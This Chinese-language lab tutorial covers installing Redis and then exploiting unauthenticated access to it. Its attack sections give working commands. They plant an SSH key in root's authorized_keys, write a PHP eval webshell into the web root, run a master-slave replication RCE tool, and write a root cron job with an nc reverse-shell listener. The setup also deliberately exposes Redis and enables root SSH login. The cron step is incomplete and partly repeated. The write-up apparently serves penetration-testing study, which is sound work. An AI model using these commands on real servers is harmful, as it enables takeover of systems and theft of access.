目录
进入src目录下,将redis-server和redis-cli拷贝到/usr/bin目录下,方便直接启动,将redis目录的redis.conf拷贝到/etc下
生成的公私钥(生成的公私钥是自己要知道的,然后将生成的公私钥通过漏洞放在redis服务器上)
首先使用php创建一个简单的web服务器(模拟你发现了一个网站)
redid安装
下载redis压缩包,我这里下载在了opt目录下
wget http://download.redis.io/releases/redis-5.0.14.tar.gz
解压缩,进入指定目录,编译
tar zxvf redis-5.0.14.tar.gz
cd redis-5.0.14
make
进入src目录下,将redis-server和redis-cli拷贝到/usr/bin目录下,方便直接启动,将redis目录的redis.conf拷贝到/etc下
cd src/
#服务端
cp redis-server /usr/bin
#客户端,Redis 客户端是与 Redis 服务器进行通信的应用程序或库。客户端负责向 Redis 发送命令,并接收和处理来自服务器的响应。所以是客户端连接服务端
cp redis-cli /usr/bin/
cp ../redis.conf /etc/redis.conf
修改配置文件
# 将 Redis 的监听地址从默认的 127.0.0.1 修改为 0.0.0.0。 将 Redis 服务修改为监听所有网络接口,而不仅仅是本地回环接口 127.0.0.1。这使得 Redis 可以接受来自任何网络接口的连接请求。
sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/' /etc/redis.conf
#关闭 Redis 的保护模式, 在保护模式关闭后,Redis服务器可以接受来自任何网络主机的连接请求,而不仅仅局限于本地主机。
sed -i 's/^protected-mode yes/protected-mode no/' /etc/redis.conf
设置内存
#默认情况下,Linux 允许超出系统实际物理内存的内存分配(overcommit),这可以导致内存耗尽和进程崩溃。将 vm.overcommit_memory 设置为 1 可以告诉内核始终允许内存分配,即使物理内存和交换空间的总和比请求的内存少。
sysctl vm.overcommit_memory=1
#THP 是 Linux 内核的一个特性,旨在优化大内存块的处理,但在某些情况下会导致性能问题,特别是对于内存敏感的应用程序如 Redis。
echo never > /sys/kernel/mm/transparent_hugepage/enabled
这两条命令结合使用可以提升 Redis 在生产环境中的性能和稳定性:
sysctl vm.overcommit_memory=1:确保 Redis 在需要时能够获得所需的内存分配。
echo never > /sys/kernel/mm/transparent_hugepage/enabled:禁用 THP,避免可能因 THP 带来的性能问题而影响 Redis 的响应速度和稳定性。
启动服务
redis-server /etc/redis.conf
连接服务
redis-cli -h 192.168.244.152 -p 6379
输入info可以查看redis信息(仅仅展示部分)
redis设置密码
在配置文件中找到requirepass foobared这一行,将foobared改成你的密码就可以了
如下图就可以进行密码登陆了
redis一些漏洞
环境搭建
允许ssh使用公钥登陆
sed -i '/PermitRootLogin /c PermitRootLogin yes' /etc/ssh/sshd_config
禁止使用密码进行 SSH 登录
sed -i "s/^PasswordAuthentication.*/PasswordAuthentication no/g" /etc/ssh/sshd_config
启用 RSA 公钥认证
sed -i "s/^#RSAAuthentication.*/RSAAuthentication yes/g" /etc/ssh/sshd_config
启用公钥认证
sed -i "s/^#PubkeyAuthentication.*/PubkeyAuthentication yes/g" /etc/ssh/sshd_config
指定公钥文件路径
sed -i "s/^#AuthorizedKeysFile.*/AuthorizedKeysFile .ssh\/authorized_keys/g" /etc/ssh/sshd_config
重启ssh服务
systemctl restart ssh
使用php搭建一个简单的web服务器
nohup php -S 0.0.0.0:8888 &
nohup和&意思是让命令后台执行
然后这里就可以访问木马,然后获取权限了
redis未授权写入ssh公钥
密钥准备
首先生成一对公私钥,如果有的话可以不用生成
生成的公私钥(生成的公私钥是自己要知道的,然后将生成的公私钥通过漏洞放在redis服务器上)
修改公钥名称
mv /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
现在测试一下公私钥匙是否可以正常连接
测试公私钥的时候不要在你的攻击机子和redis的服务器的机子上测试,或者你把测试完成的文件在服务器上删掉,删掉之前记得保存
拷贝私钥到另外一台虚拟机上
然后输入ssh -i 私钥名称 root@要连接的虚拟机IP
测试有点毛病
原因当执行 SSH 连接时,私钥文件的权限设置非常重要。SSH 客户端要求私钥文件具有特定的权限设置,以确保私钥的机密性。通常,SSH 客户端会拒绝使用权限设置不正确的私钥文件。
将权限修改为600就没有问题了
(下图是测试出现问题的情况,没出现问题的情况忘记截图了)
现在开始未授权写入公钥
这是你已经连接上了redis,你在redis中操作,在redis中写入公钥
查看备份文件路径
config get dir
查看备份文件名
config get dbfilename
设置备份路径为/root/.ssh,修改公钥名称
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxssh "\n\n你的authorized_keys的值\n\n"
save
然后就可以在另外一台主机尝试无密码登陆了
登陆成功,获取权限了
redis写木马
这个东西的流程是你发现了一个网站,然后你扫描对方端口,发现6379端口开着,而且通过一些其他漏洞可以登陆上redis后,你在redis中执行操作获取webshell权限
首先使用php创建一个简单的web服务器(模拟你发现了一个网站)
扫描端口发现6379端口开着,并且可以登陆上去
执行命令上传木马
#设置路径,路径是对方网站路径咱门可以去猜,也可以输入一个错的可能报错会有
config set dir /var/www/html
#写入一句话木马
set xxx "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
#设置webshell名称
config set dbfilename webshell.php
save
网站访问木马
使用工具连接木马完成控制(这里使用蚁剑)
redis主从复制漏洞
这个是你冒充redis的主服务器,让redis从服务器下载木马(这里使用工具)
要求:这里用的是linux系统(攻击Windows比较复杂后续再尝试)同时redis是4.x或5.x版本才可以打
这里使用工具(工具可以使用但是要懂得漏洞原理并且可以复现出来,只会使用工具是不可取的)
python3 redis-attack.py -r 目标IP -p 目标端口 -L 监听IP -P 监听端口 -a redis密码 -lf exp/linux/exp.so
权限获取成功
redis未授权写计划任务
设置目录
config set dir /var/spool/cron
编写任务计划
config set dir /var/spool/cron
设置文件名称
config set dbfilename root
保存
save
Linux监听端口
nc -lvnp 6666